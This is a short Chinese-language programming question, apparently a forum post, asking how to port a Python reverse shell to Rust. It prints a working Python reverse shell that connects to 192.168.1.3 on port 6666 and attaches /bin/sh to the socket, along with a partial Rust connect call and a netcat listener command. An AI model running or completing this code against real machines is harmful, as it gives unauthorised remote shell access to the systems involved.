Python 中的反向 shell 脚本通常如下所示:
import socket, subprocess, os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((\"192.168.1.3\", 6666));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call([\"/bin/sh\", \"-i\"]);
我试图用 Rust 复制这个过程:
let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();
我只获得了到我的主机的 TCP 连接,使用 netcat ( nc -l -p 6666
) 进行监听。如果我理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式 "call" /bin/sh
。
如何在 Rust 中编写这个反向 shell 脚本?